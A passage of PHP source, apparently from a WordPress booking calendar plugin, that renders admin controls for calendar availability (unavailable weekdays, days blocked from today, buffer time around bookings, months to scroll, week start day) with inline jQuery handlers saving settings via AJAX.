).sort().join( ','); } wpbc_ajx_customize_plugin.search_set_param( 'calendar__bk_1click_mode_days_start', sel_arr_el ); wpbc_ajx_customize_plugin__send_request_with_params( {'do_action': 'save_calendar_dates_selection'} ); wpbc_button_enable_loading_icon( this ); wpbc_admin_show_message_processing( '' );" ); ?><div class="ui_element ui_element_micro"><?php wpbc_flex_toggle( $params_checkbox ); ?></div><?php // Set checked specific Radio button, depends on last action from user ?><# <?php if (0) { ?><script type="text/javascript"><?php } ?> jQuery( document ).ready( function (){ if ( ( '-1' === data.ajx_data.calendar_settings.calendar__bk_1click_mode_days_start ) || ( -1 !== data.ajx_data.calendar_settings.calendar__bk_1click_mode_days_start.indexOf( '<?php echo $day_key; ?>' ) ) ){ jQuery( '#<?php echo $el_id . '_'.$day_key; ?>' ).prop( 'checked', true );//.trigger( 'change' ); } else { jQuery( '#<?php echo $el_id . '_'.$day_key; ?>' ).prop( 'checked', false );//.trigger( 'change' ); } } ); <?php if (0) { ?></script><?php } ?> #><?php } } // </editor-fold> // <editor-fold defaultstate="collapsed" desc=" == Unavailable Weekdays UI == " > /** * Unavailable - weekdays */ function wpbc_ajx_cstm__ui__template__calendar_weekdays_availability(){ $booking_action = 'set_calendar_weekdays_availability'; $el_id = 'ui_btn_cstm__' . $booking_action ; ?><div class="ui_element ui_element_micro ui_nowrap0" style="flex:1 1 100%"><?php wpbc_flex_label( array( 'id' => $el_id , 'style' => 'height: auto;line-height: 1.75em;' , 'label' => '<span class="" style="font-weight:400;">' . __('Check unavailable days in calendars. This option will overwrite all other settings.' ,'booking') . '</span>' ) ); ?></div><?php $week_days_arr = array( 0 => __( 'Su', 'booking' ) , 1 => __( 'Mo', 'booking' ) , 2 => __( 'Tu', 'booking' ) , 3 => __( 'We', 'booking' ) , 4 => __( 'Th', 'booking' ) , 5 => __( 'Fr', 'booking' ) , 6 => __( 'Sa', 'booking' ) ); foreach ( $week_days_arr as $day_key => $day_title ) { $params_checkbox = array( 'id' => $el_id . '_'.$day_key // HTML ID of element , 'name' => $el_id . '_'.$day_key , 'label' => array( 'title' => $day_title , 'position' => 'right' ) //FixIn: 9.6.1.5 , 'style' => '' // CSS of select element , 'class' => '' // CSS Class of select element , 'disabled' => false , 'attr' => array() // Any additional attributes, if this radio | checkbox element , 'legend' => '' // aria-label parameter , 'value' => $day_key // Some Value from optins array that selected by default , 'selected' => false // Selected or not //, 'onfocus' => "console.log( 'ON FOCUS:', jQuery( this ).is(':checked') , 'in element:' , jQuery( this ) );" // JavaScript code //, 'onchange' => "wpbc_ajx_booking_send_search_request_with_params( {'ui_usr__send_emails': (jQuery( this ).is(':checked') ? 'send' : 'not_send') } );" // JavaScript code , 'onchange' => " var sel_arr_el = wpbc_ajx_customize_plugin.search_get_param( 'availability__user_unavilable_days' ); if ( jQuery( this ).is(':checked') ) { sel_arr_el = _.uniq( ['".$day_key."'].concat( sel_arr_el.split(',') ) ).sort().join( ','); } else { sel_arr_el = _.uniq( _.without( sel_arr_el.split(','), '".$day_key."' ) ).sort().join( ','); } wpbc_ajx_customize_plugin.search_set_param( 'availability__user_unavilable_days', sel_arr_el ); wpbc_ajx_customize_plugin__send_request_with_params( {'do_action': 'save_calendar_weekdays_availability'} ); wpbc_button_enable_loading_icon( this ); wpbc_admin_show_message_processing( '' );" ); ?><div class="ui_element ui_element_micro"><?php wpbc_flex_toggle( $params_checkbox ); ?></div><?php // Set checked specific Radio button, depends on last action from user ?><# <?php if (0) { ?><script type="text/javascript"><?php } ?> jQuery( document ).ready( function (){ if ( ( '-1' === data.ajx_data.calendar_settings.calendar_unavailable.user_unavilable_days ) || ( -1 !== data.ajx_data.calendar_settings.calendar_unavailable.user_unavilable_days.indexOf( '<?php echo $day_key; ?>' ) ) ){ jQuery( '#<?php echo $el_id . '_'.$day_key; ?>' ).prop( 'checked', true ); } else { jQuery( '#<?php echo $el_id . '_'.$day_key; ?>' ).prop( 'checked', false ); } } ); <?php if (0) { ?></script><?php } ?> #><?php } } /** * Unavailable - from Today */ function wpbc_ajx_cstm__ui__template__calendar_unavailable_from_today(){ $booking_action = 'set_calendar_unavailable_from_today'; $el_id = 'ui_btn_cstm__' . $booking_action ; //if ( ! wpbc_is_user_can( $booking_action, wpbc_get_current_user_id() ) ) { return false; } ?><div class="ui_element ui_nowrap0"><?php wpbc_flex_label( array( 'id' => $el_id , 'label' => '<div class="" style="font-weight:400;">' . __( 'Unavailable days from today', 'booking' ) . ': ' . '<div><code id="' . $el_id . '_hint" style="font-weight:600;font-size:10px;padding:0;color: #626262;"></code></div>' . '</div>' ) ); ?></div><?php ?><div class="ui_element ui_nowrap"><?php // Options $dropdown_options = range( 0, 31 ); $params_select = array( 'id' => $el_id // HTML ID of element , 'name' => $booking_action , 'label' => '' //__( 'Select the skin of the booking calendar', 'booking' )//__('Calendar Skin', 'booking') , 'style' => '' // CSS of select element , 'class' => '' // CSS Class of select element //, 'multiple' => true //, 'attr' => array( 'value_of_selected_option' => '{{selected_locale_value}}' ) // Any additional attributes, if this radio | checkbox element , 'disabled' => false , 'disabled_options' => array() // If some options disabled, then it has to list here , 'options' => $dropdown_options //, 'value' => isset( $escaped_search_request_params[ $el_id ] ) ? $escaped_search_request_params[ $el_id ] : $defaults[ $el_id ] // Some Value from options array that selected by default //, 'onfocus' => "console.log( 'ON FOCUS:', jQuery( this ).val(), 'in element:' , jQuery( this ) );" // JavaScript code , 'onchange' => "wpbc_ajx_customize_plugin.search_set_param( 'availability__block_some_dates_from_today', jQuery(this).val() ); wpbc_ajx_customize_plugin__send_request_with_params( {'do_action': 'save_calendar_weekdays_availability'} ); wpbc_button_enable_loading_icon( this ); wpbc_admin_show_message_processing( '' );" ); wpbc_flex_select( $params_select ); wpbc_ajx_cstm__ui__selectbox_prior_btn( $el_id ); wpbc_ajx_cstm__ui__selectbox_next_btn( $el_id ); ?></div><?php // Set checked specific OPTION depends on last action from user ?><# <?php if (0) { ?><script type="text/javascript"><?php } ?> jQuery( document ).ready( function (){ // Set selected option in dropdown list based on data. value jQuery( '#<?php echo $el_id; ?> option[value="' + data.ajx_data.calendar_settings.calendar_unavailable.block_some_dates_from_today + '"]' ).prop( 'selected', true ); jQuery( '#<?php echo $el_id; ?>_hint' ).html( '<span style="color: #cc3a5f;text-transform: uppercase;"><?php _e('Unavailable','booking') ?></span>' + data.ajx_data.calendar_settings.calendar_unavailable.block_some_dates_from_today__hint ); } ); <?php if (0) { ?></script><?php } ?> #><?php } /** * Limit Available - from Today */ function wpbc_ajx_cstm__ui__template__calendar_limit_available_from_today(){ $booking_action = 'set_calendar_limit_available_from_today'; $el_id = 'ui_btn_cstm__' . $booking_action ; //if ( ! wpbc_is_user_can( $booking_action, wpbc_get_current_user_id() ) ) { return false; } ?><div class="ui_element ui_nowrap0"><?php wpbc_flex_label( array( 'id' => $el_id , 'label' => '<div class="" style="font-weight:400;">' . __( 'Limit available days from today', 'booking' ) . ': ' . '<div><code id="' . $el_id . '_hint" style="font-weight:600;font-size:10px;padding:0;color: #626262;"></code></div>' . '</div>' ) ); ?></div><?php ?><div class="ui_element ui_nowrap"><?php // Options $dropdown_options = array( '' => ' - ' ); //foreach ( range( 365, 1, -1 ) as $value ) { foreach ( range( 1,365 ) as $value ) { $dropdown_options[ $value ] = $value; } $params_select = array( 'id' => $el_id // HTML ID of element , 'name' => $booking_action , 'label' => '' //__( 'Select the skin of the booking calendar', 'booking' )//__('Calendar Skin', 'booking') , 'style' => '' // CSS of select element , 'class' => '' // CSS Class of select element //, 'multiple' => true //, 'attr' => array( 'value_of_selected_option' => '{{selected_locale_value}}' ) // Any additional attributes, if this radio | checkbox element , 'disabled' => false , 'disabled_options' => array() // If some options disabled, then it has to list here , 'options' => $dropdown_options //, 'value' => isset( $escaped_search_request_params[ $el_id ] ) ? $escaped_search_request_params[ $el_id ] : $defaults[ $el_id ] // Some Value from options array that selected by default //, 'onfocus' => "console.log( 'ON FOCUS:', jQuery( this ).val(), 'in element:' , jQuery( this ) );" // JavaScript code , 'onchange' => "wpbc_ajx_customize_plugin.search_set_param( 'availability__wpbc_available_days_num_from_today', jQuery(this).val() ); wpbc_ajx_customize_plugin__send_request_with_params( {'do_action': 'save_calendar_weekdays_availability'} ); wpbc_button_enable_loading_icon( this ); wpbc_admin_show_message_processing( '' );" ); wpbc_flex_select( $params_select ); wpbc_ajx_cstm__ui__selectbox_prior_btn( $el_id ); wpbc_ajx_cstm__ui__selectbox_next_btn( $el_id ); ?></div><?php // Set checked specific OPTION depends on last action from user ?><# <?php if (0) { ?><script type="text/javascript"><?php } ?> jQuery( document ).ready( function (){ // Set selected option in dropdown list based on data. value jQuery( '#<?php echo $el_id; ?> option[value="' + data.ajx_data.calendar_settings.calendar_unavailable.wpbc_available_days_num_from_today + '"]' ).prop( 'selected', true ); jQuery( '#<?php echo $el_id; ?>_hint' ).html( '<span style="color: #50be31;text-transform: uppercase;"><?php _e('Available','booking') ?></span>' + data.ajx_data.calendar_settings.calendar_unavailable.wpbc_available_days_num_from_today__hint ); } ); <?php if (0) { ?></script><?php } ?> #><?php } /** * Radio buttons - Range Dates selection mode - Business Small and higher * * @return void */ function wpbc_ajx_cstm__ui__template__calendar_unavailable_before_after_bookings(){ $booking_action = 'set_calendar_unavailable_before_after_bookings'; $el_id = 'ui_btn_cstm__' . $booking_action ; //if ( ! wpbc_is_user_can( $booking_action, wpbc_get_current_user_id() ) ) { return false; } ?><div class="clear" style="height: 1px;width: 100%;border-top: 1px solid #ccc;margin: 15px 0 10px;"></div><?php ?><div class="ui_element ui_nowrap0"><?php wpbc_flex_label( array( 'id' => $el_id , 'style' => 'height: auto;' , 'label' => '<span class="" style="font-weight:400;">' . __('Unavailable time before / after booking' ,'booking') .':</span>' ) ); ?></div><?php $el_value = ''; ?><div class="ui_element"><?php ?><span class="wpbc_ui_control wpbc_ui_button <?php echo $el_id. '_' . $el_value . '__outer_button'; ?>" style="padding-right: 8px;"><?php $params_radio = array( 'id' => $el_id . '_' . $el_value // HTML ID of element , 'name' => $booking_action , 'label' => array( 'title' => ucfirst( __( 'None', 'booking' ) ) , 'position' => 'right' ) , 'style' => 'margin:1px 0 0;' // CSS of select element , 'class' => 'wpbc_radio__set_days_availability' // CSS Class of select element , 'disabled' => false , 'attr' => array() // Any additional attributes, if this radio | checkbox element , 'legend' => '' // aria-label parameter , 'value' => $el_value // Some Value from options array that selected by default //, 'selected' => true //, 'onfocus' => "console.log( 'ON FOCUS:', jQuery( this ).is(':checked') , 'in element:' , jQuery( this ) );" // JavaScript code ); wpbc_flex_radio( $params_radio ); ?></span><?php ?></div><?php $el_value = 'm'; ?><div class="ui_element"><?php ?><span class="wpbc_ui_control wpbc_ui_button <?php echo $el_id. '_' . $el_value . '__outer_button'; ?>" style="padding-right: 8px;"><?php $params_radio = array( 'id' => $el_id . '_' . $el_value // HTML ID of element , 'name' => $booking_action , 'label' => array( 'title' => ucfirst( __( 'minutes', 'booking' ) ) . ' / ' . ucfirst( __( 'hours', 'booking' ) ) , 'position' => 'right' ) , 'style' => 'margin:1px 0 0;' // CSS of select element , 'class' => 'wpbc_radio__set_days_availability' // CSS Class of select element , 'disabled' => false , 'attr' => array() // Any additional attributes, if this radio | checkbox element , 'legend' => '' // aria-label parameter , 'value' => $el_value // Some Value from options array that selected by default //, 'selected' => false //, 'onfocus' => "console.log( 'ON FOCUS:', jQuery( this ).is(':checked') , 'in element:' , jQuery( this ) );" // JavaScript code ); wpbc_flex_radio( $params_radio ); ?></span><?php ?></div><?php ?><div class="ui_element_sub_section ui_element_sub_section_m" ><?php wpbc_ajx_cstm__ui__template__calendar_unavailable_before_after_bookings_minutes(); ?></div><?php $el_value = 'd'; ?><div class="ui_element"><?php ?><span class="wpbc_ui_control wpbc_ui_button <?php echo $el_id. '_' . $el_value . '__outer_button'; ?>" style="padding-right: 8px;"><?php $params_radio = array( 'id' => $el_id . '_' . $el_value // HTML ID of element , 'name' => $booking_action , 'label' => array( 'title' => ucfirst( __( 'day(s)', 'booking' ) ) , 'position' => 'right' ) , 'style' => 'margin:1px 0 0;' // CSS of select element , 'class' => 'wpbc_radio__set_days_availability' // CSS Class of select element , 'disabled' => false , 'attr' => array() // Any additional attributes, if this radio | checkbox element , 'legend' => '' // aria-label parameter , 'value' => $el_value // Some Value from options array that selected by default //, 'selected' => false //, 'onfocus' => "console.log( 'ON FOCUS:', jQuery( this ).is(':checked') , 'in element:' , jQuery( this ) );" // JavaScript code ); wpbc_flex_radio( $params_radio ); ?></span><?php ?></div><?php ?><div class="ui_element_sub_section ui_element_sub_section_d" ><?php wpbc_ajx_cstm__ui__template__calendar_unavailable_before_after_bookings_days(); ?></div><?php ?><p><?php echo '<div id="'.$el_id.'_hint" style="font-weight:400;font-size:11px;margin-top:15px;">' . '<strong>' . __('Important!' ,'booking') . '</strong> ' . __( 'This feature is applying only for bookings for specific timeslots, or if activated check in/out time option.', 'booking' ) .'</div>' ?></p> <?php // Set checked specific Radio button, depends on last action from user ?><# <?php if (0) { ?><script type="text/javascript"><?php } ?> jQuery( document ).ready( function (){ <?php foreach ( array( '', 'm', 'd' ) as $item_val) { ?> // Change and send Ajax jQuery( '#ui_btn_cstm__set_calendar_unavailable_before_after_bookings_<?php echo $item_val; ?>' ).on( 'change', function ( event ){ <?php // It's required for not send request second time ! ?> jQuery( '#ui_btn_cstm__set_calendar_unavailable_before_after_bookings_<?php echo $item_val; ?>' ).off( 'change' ); wpbc_ajx_customize_plugin.search_set_param( 'availability__booking_unavailable_extra_in_out', '<?php echo $item_val; ?>' ); wpbc_ajx_customize_plugin__send_request_with_params( {'do_action': 'save_calendar_weekdays_availability'} ); wpbc_button_enable_loading_icon( this ); wpbc_admin_show_message_processing( '' ); jQuery( '.ui_element_sub_section_d,.ui_element_sub_section_m').hide(); if ('m' == '<?php echo $item_val; ?>') { jQuery( '.ui_element_sub_section_m').show(); } if ('d' == '<?php echo $item_val; ?>') { jQuery( '.ui_element_sub_section_d').show(); } return false; } ); <?php // Helper, if we click on button side, and not at radio button or label, then make radio checked. ?> jQuery( '.ui_btn_cstm__set_calendar_unavailable_before_after_bookings_<?php echo $item_val; ?>__outer_button' ).on( 'click', function (){ jQuery( '#ui_btn_cstm__set_calendar_unavailable_before_after_bookings_<?php echo $item_val; ?>' ).prop( "checked", true ).trigger('change'); } ); <?php } ?> // Set checked or not, specific radio buttons jQuery( '#ui_btn_cstm__set_calendar_unavailable_before_after_bookings_' ).prop( 'checked', true ); jQuery( '.ui_element_sub_section_d,.ui_element_sub_section_m').hide(); if ( 'm' == data.ajx_data.calendar_settings.calendar_unavailable.booking_unavailable_extra_in_out ){ jQuery( '#ui_btn_cstm__set_calendar_unavailable_before_after_bookings_m' ).prop( 'checked', true ); jQuery( '.ui_element_sub_section_m').show(); } if ( 'd' == data.ajx_data.calendar_settings.calendar_unavailable.booking_unavailable_extra_in_out ){ jQuery( '#ui_btn_cstm__set_calendar_unavailable_before_after_bookings_d' ).prop( 'checked', true ); jQuery( '.ui_element_sub_section_d').show(); } <?php // Show possible selection in paid versions, while using lower version. if ( ! class_exists( 'wpdev_bk_biz_m' ) ) { ?> jQuery( '.ui_element_sub_section_m').show(); jQuery( '.ui_element_sub_section_d').show(); <?php } ?> } ); <?php if (0) { ?></script><?php } ?> #><?php } function wpbc_ajx_cstm__ui__template__calendar_unavailable_before_after_bookings_minutes(){ $booking_action = 'booking_unavailable_extra_minutes'; $el_id = 'ui_btn_cstm__' . $booking_action; // Options $extra_time = array(); $extra_time[''] = ' - '; foreach ( range( 5, 55 , 5 ) as $extra_num) { // Each 5 minutes $extra_time[ $extra_num . 'm' ] = $extra_num . ' ' . __( 'minutes', 'booking' ); } $extra_time[ '60' . 'm' ] = '1 ' . __( 'hour', 'booking' ); foreach ( range( 65, 115 , 5 ) as $extra_num) { // 1 hour + Each 5 minutes $extra_time[ $extra_num . 'm' ] = '1 ' . __( 'hour', 'booking' ) . ' ' . ($extra_num - 60 ) . ' ' . __( 'minutes', 'booking' ); } foreach ( range( 120, 1380 , 60 ) as $extra_num) { // Each Hour based on minutes $extra_time[ $extra_num . 'm' ] = ($extra_num / 60) . ' ' . __( 'hours', 'booking' ); } $params_select = array( 'id' => $el_id . '_in' // HTML ID of element , 'name' => $el_id . '_in' , 'label' => __( 'Before booking', 'booking' )//'<span class="" style="font-weight:600;">' . __( 'Days', 'booking' ) . ' <em style="color:#888;">(' . __( 'min-max', 'booking' ) . '):</em></span>' , 'style' => 'max-width: 100%;' // CSS of select element , 'class' => '' // CSS Class of select element //, 'multiple' => true //, 'attr' => array( 'value_of_selected_option' => '{{selected_locale_value}}' ) // Any additional attributes, if this radio | checkbox element , 'disabled' => false , 'disabled_options' => array() // If some options disabled, then it has to list here , 'options' => $extra_time //, 'value' => isset( $escaped_search_request_params[ $el_id ] ) ? $escaped_search_request_params[ $el_id ] : $defaults[ $el_id ] // Some Value from options array that selected by default //, 'onfocus' => "console.log( 'ON FOCUS:', jQuery( this ).val(), 'in element:' , jQuery( this ) );" // JavaScript code , 'onchange' => "wpbc_ajx_customize_plugin.search_set_param( 'availability__booking_unavailable_extra_minutes_in', jQuery(this).val() ); wpbc_ajx_customize_plugin__send_request_with_params( {'do_action': 'save_calendar_weekdays_availability'} ); wpbc_button_enable_loading_icon( this ); wpbc_admin_show_message_processing( '' );" ); ?><div class="ui_element ui_element_micro"><?php wpbc_flex_select( $params_select ); ?></div><?php $params_select = array( 'id' => $el_id . '_out' // HTML ID of element , 'name' => $el_id . '_out' , 'label' => __( 'After booking', 'booking' )//'<span class="" style="font-weight:600;">' . __( 'Days', 'booking' ) . ' <em style="color:#888;">(' . __( 'min-max', 'booking' ) . '):</em></span>' , 'style' => 'max-width: 100%;' // CSS of select element , 'class' => '' // CSS Class of select element //, 'multiple' => true //, 'attr' => array( 'value_of_selected_option' => '{{selected_locale_value}}' ) // Any additional attributes, if this radio | checkbox element , 'disabled' => false , 'disabled_options' => array() // If some options disabled, then it has to list here , 'options' => $extra_time //, 'value' => isset( $escaped_search_request_params[ $el_id ] ) ? $escaped_search_request_params[ $el_id ] : $defaults[ $el_id ] // Some Value from options array that selected by default //, 'onfocus' => "console.log( 'ON FOCUS:', jQuery( this ).val(), 'in element:' , jQuery( this ) );" // JavaScript code , 'onchange' => "wpbc_ajx_customize_plugin.search_set_param( 'availability__booking_unavailable_extra_minutes_out', jQuery(this).val() ); wpbc_ajx_customize_plugin__send_request_with_params( {'do_action': 'save_calendar_weekdays_availability'} ); wpbc_button_enable_loading_icon( this ); wpbc_admin_show_message_processing( '' );" ); ?><div class="ui_element ui_element_micro"><?php wpbc_flex_select( $params_select ); ?></div><?php // Set checked specific OPTION depends on last action from user ?><# <?php if (0) { ?><script type="text/javascript"><?php } ?> jQuery( document ).ready( function (){ // Set selected option in dropdown list based on data. value jQuery( '#<?php echo $el_id . '_in'; ?> option[value="' + data.ajx_data.calendar_settings.calendar_unavailable.booking_unavailable_extra_minutes_in + '"]' ).prop( 'selected', true ); jQuery( '#<?php echo $el_id . '_out'; ?> option[value="' + data.ajx_data.calendar_settings.calendar_unavailable.booking_unavailable_extra_minutes_out + '"]' ).prop( 'selected', true ); } ); <?php if (0) { ?></script><?php } ?> #><?php } function wpbc_ajx_cstm__ui__template__calendar_unavailable_before_after_bookings_days(){ $booking_action = 'booking_unavailable_extra_days'; $el_id = 'ui_btn_cstm__' . $booking_action; // Options $extra_time = array(); $extra_time[''] = ' - '; foreach ( range( 1, 30 , 1 ) as $extra_num) { // Each Day $extra_time[ $extra_num . 'd' ] = $extra_num . ' ' . __( 'day(s)', 'booking' ); } $params_select = array( 'id' => $el_id . '_in' // HTML ID of element , 'name' => $el_id . '_in' , 'label' => __( 'Before booking', 'booking' )//'<span class="" style="font-weight:600;">' . __( 'Days', 'booking' ) . ' <em style="color:#888;">(' . __( 'min-max', 'booking' ) . '):</em></span>' , 'style' => 'max-width: 100%;' // CSS of select element , 'class' => '' // CSS Class of select element //, 'multiple' => true //, 'attr' => array( 'value_of_selected_option' => '{{selected_locale_value}}' ) // Any additional attributes, if this radio | checkbox element , 'disabled' => false , 'disabled_options' => array() // If some options disabled, then it has to list here , 'options' => $extra_time //, 'value' => isset( $escaped_search_request_params[ $el_id ] ) ? $escaped_search_request_params[ $el_id ] : $defaults[ $el_id ] // Some Value from options array that selected by default //, 'onfocus' => "console.log( 'ON FOCUS:', jQuery( this ).val(), 'in element:' , jQuery( this ) );" // JavaScript code , 'onchange' => "wpbc_ajx_customize_plugin.search_set_param( 'availability__booking_unavailable_extra_days_in', jQuery(this).val() ); wpbc_ajx_customize_plugin__send_request_with_params( {'do_action': 'save_calendar_weekdays_availability'} ); wpbc_button_enable_loading_icon( this ); wpbc_admin_show_message_processing( '' );" ); ?><div class="ui_element ui_element_micro"><?php wpbc_flex_select( $params_select ); ?></div><?php $params_select = array( 'id' => $el_id . '_out' // HTML ID of element , 'name' => $el_id . '_out' , 'label' => __( 'After booking', 'booking' )//'<span class="" style="font-weight:600;">' . __( 'Days', 'booking' ) . ' <em style="color:#888;">(' . __( 'min-max', 'booking' ) . '):</em></span>' , 'style' => 'max-width: 100%;' // CSS of select element , 'class' => '' // CSS Class of select element //, 'multiple' => true //, 'attr' => array( 'value_of_selected_option' => '{{selected_locale_value}}' ) // Any additional attributes, if this radio | checkbox element , 'disabled' => false , 'disabled_options' => array() // If some options disabled, then it has to list here , 'options' => $extra_time //, 'value' => isset( $escaped_search_request_params[ $el_id ] ) ? $escaped_search_request_params[ $el_id ] : $defaults[ $el_id ] // Some Value from options array that selected by default //, 'onfocus' => "console.log( 'ON FOCUS:', jQuery( this ).val(), 'in element:' , jQuery( this ) );" // JavaScript code , 'onchange' => "wpbc_ajx_customize_plugin.search_set_param( 'availability__booking_unavailable_extra_days_out', jQuery(this).val() ); wpbc_ajx_customize_plugin__send_request_with_params( {'do_action': 'save_calendar_weekdays_availability'} ); wpbc_button_enable_loading_icon( this ); wpbc_admin_show_message_processing( '' );" ); ?><div class="ui_element ui_element_micro"><?php wpbc_flex_select( $params_select ); ?></div><?php // Set checked specific OPTION depends on last action from user ?><# <?php if (0) { ?><script type="text/javascript"><?php } ?> jQuery( document ).ready( function (){ // Set selected option in dropdown list based on data. value jQuery( '#<?php echo $el_id . '_in'; ?> option[value="' + data.ajx_data.calendar_settings.calendar_unavailable.booking_unavailable_extra_days_in + '"]' ).prop( 'selected', true ); jQuery( '#<?php echo $el_id . '_out'; ?> option[value="' + data.ajx_data.calendar_settings.calendar_unavailable.booking_unavailable_extra_days_out + '"]' ).prop( 'selected', true ); } ); <?php if (0) { ?></script><?php } ?> #><?php } /** * Button - Reset Calendar Availability * @return void */ function wpbc_ajx_cstm__ui__calendar_weekdays_availability_reset__btn(){ $params = array( 'type' => 'button' , 'title' => __( 'Reset availability', 'booking' ) . ' ', // Title of the button 'hint' => '',//array( 'title' => __( 'Reset selected options to default values', 'booking' ), 'position' => 'top' ), // Hint 'link' => 'javascript:void(0)', // Direct link or skip it 'action' => "wpbc_ajx_customize_plugin.search_set_param( 'availability__user_unavilable_days', '' ); wpbc_ajx_customize_plugin.search_set_param( 'availability__block_some_dates_from_today', 0 ); wpbc_ajx_customize_plugin.search_set_param( 'availability__wpbc_available_days_num_from_today', '' ); wpbc_ajx_customize_plugin.search_set_param( 'availability__booking_unavailable_extra_in_out', '' ); wpbc_ajx_customize_plugin.search_set_param( 'availability__booking_unavailable_extra_minutes_in', '' ); wpbc_ajx_customize_plugin.search_set_param( 'availability__booking_unavailable_extra_minutes_out', '' ); wpbc_ajx_customize_plugin.search_set_param( 'availability__booking_unavailable_extra_days_in', '' ); wpbc_ajx_customize_plugin.search_set_param( 'availability__booking_unavailable_extra_days_out', '' ); wpbc_ajx_customize_plugin__send_request_with_params( {'do_action': 'save_calendar_weekdays_availability'} ); wpbc_button_enable_loading_icon( this ); wpbc_admin_show_message_processing( '' );", // JavaScript 'icon' => array( 'icon_font' => 'wpbc_icn_close', //'wpbc_icn_rotate_left', wpbc_icn_settings_backup_restore 'position' => 'left', 'icon_img' => '' ), 'class' => 'wpbc_ui_button_danger', // '' | 'wpbc_ui_button_primary' 'style' => '', // Any CSS class here 'mobile_show_text' => true, // Show or hide text, when viewing on Mobile devices (small window size). 'attr' => array( 'id' => 'btn__status_bar__reset' ) ); wpbc_flex_button( $params ); } // </editor-fold> // <editor-fold defaultstate="collapsed" desc=" == Calendar Additional Settings UI == " > /** * Select-box - Number of Months to Scroll * * @return void */ function wpbc_ajx_cstm__ui__template__months_to_scroll(){ $booking_action = 'set_booking_max_monthes_in_calendar'; $el_id = 'ui_btn_cstm__' . $booking_action ; //if ( ! wpbc_is_user_can( $booking_action, wpbc_get_current_user_id() ) ) { return false; } ?><div class="ui_element ui_nowrap0"><?php wpbc_flex_label( array( 'id' => $el_id , 'label' => '<span class="" style="font-weight:600;">' . __('Number of months to scroll' ,'booking') . ':</span>' ) ); ?></div><?php ?><div class="ui_element ui_nowrap"><?php // Options $months_options = array(); for ($mm = 1; $mm < 12; $mm++) { $months_options[ $mm . 'm' ] = $mm . ' ' . __('month(s)' ,'booking'); } for ($yy = 1; $yy < 11; $yy++) { $months_options[ $yy . 'y' ] = $yy . ' ' . __('year(s)' ,'booking'); } $params_select = array( 'id' => $el_id // HTML ID of element , 'name' => $booking_action , 'label' => '' //__( 'Select the skin of the booking calendar', 'booking' )//__('Calendar Skin', 'booking') , 'style' => '' // CSS of select element , 'class' => '' // CSS Class of select element //, 'multiple' => true //, 'attr' => array( 'value_of_selected_option' => '{{selected_locale_value}}' ) // Any additional attributes, if this radio | checkbox element , 'disabled' => false , 'disabled_options' => array() // If some options disabled, then it has to list here , 'options' => $months_options //, 'value' => isset( $escaped_search_request_params[ $el_id ] ) ? $escaped_search_request_params[ $el_id ] : $defaults[ $el_id ] // Some Value from options array that selected by default //, 'onfocus' => "console.log( 'ON FOCUS:', jQuery( this ).val(), 'in element:' , jQuery( this ) );" // JavaScript code , 'onchange' => "wpbc_ajx_customize_plugin.search_set_param( 'calendar__booking_max_monthes_in_calendar', jQuery(this).val() ); wpbc_ajx_customize_plugin__send_request_with_params( {'do_action': 'save_calendar_additional'} ); wpbc_admin_show_message_processing( '' ); " ); wpbc_flex_select( $params_select ); wpbc_ajx_cstm__ui__selectbox_prior_btn( $el_id ); wpbc_ajx_cstm__ui__selectbox_next_btn( $el_id ); ?></div><?php // Set checked specific OPTION depends on last action from user ?><# <?php if (0) { ?><script type="text/javascript"><?php } ?> jQuery( document ).ready( function (){ // Set selected option in dropdown list based on data. value jQuery( '#<?php echo $el_id; ?> option[value="' + data.ajx_data.calendar_settings.calendar__booking_max_monthes_in_calendar + '"]' ).prop( 'selected', true ); } ); <?php if (0) { ?></script><?php } ?> #><?php } /** * Select-box - Start week day * * @return void */ function wpbc_ajx_cstm__ui__template__start_day_weeek(){ $booking_action = 'set_booking_start_day_weeek'; $el_id = 'ui_btn_cstm__' . $booking_action ; //if ( ! wpbc_is_user_can( $booking_action, wpbc_get_current_user_id() ) ) { return false; } ?><div class="ui_element ui_nowrap0"><?php wpbc_flex_label( array( 'id' => $el_id , 'label' => '<span class="" style="font-weight:600;">' . __('Start Day of the week' ,'booking') . ':</span>' ) ); ?></div><?php ?><div class="ui_element ui_nowrap"><?php // Options $options = array( '0' => __('Sunday' ,'booking') , '1' => __('Monday' ,'booking') , '2' => __('Tuesday' ,'booking') , '3' => __('Wednesday' ,'booking') , '4' => __('Thursday' ,'booking') , '5' => __('Friday' ,'booking') , '6' => __('Saturday' ,'booking') ); $params_select = array( 'id' => $el_id // HTML ID of element , 'name' => $booking_action , 'label' => '' //__( 'Select the skin of the booking calendar', 'booking' )//__('Calendar Skin', 'booking') , 'style' => '' // CSS of select element , 'class' => '' // CSS Class of select element //, 'multiple' => true //, 'attr' => array( 'value_of_selected_option' => '{{selected_locale_value}}' ) // Any additional attributes, if this radio | checkbox element , 'disabled' => false , 'disabled_options' => array() // If some options disabled, then it has to list here , 'options' => $options //, 'value' => isset( $escaped_search_request_params[ $el_id ] ) ? $escaped_search_request_params[ $el_id ] : $defaults[ $el_id ] // Some Value from options array that selected by default //, 'onfocus' => "console.log( 'ON FOCUS:', jQuery( this ).val(), 'in element:' , jQuery( this ) );" // JavaScript code , 'onchange' => "wpbc_ajx_customize_plugin.search_set_param( 'calendar__booking_start_day_weeek', jQuery(this).val() ); wpbc_ajx_customize_plugin__send_request_with_params( {'do_action': 'save_calendar_additional'} ); wpbc_admin_show_message_processing( '' ); " ); wpbc_flex_select( $params_select ); wpbc_ajx_cstm__ui__selectbox_prior_btn( $el_id ); wpbc_ajx_cstm__ui__selectbox_next_btn( $el_id ); ?></div><?php // Set checked specific OPTION depends on last action from user ?><# <?php if (0) { ?><script type="text/javascript"><?php } ?> jQuery( document ).ready( function (){ // Set selected option in dropdown list based on data. value jQuery( '#<?php echo $el_id; ?> option[value="' + data.ajx_data.calendar_settings.calendar__booking_start_day_weeek + '"]' ).prop( 'selected', true ); } ); <?php if (0) { ?></script><?php } ?> #><?php } // </editor-fold>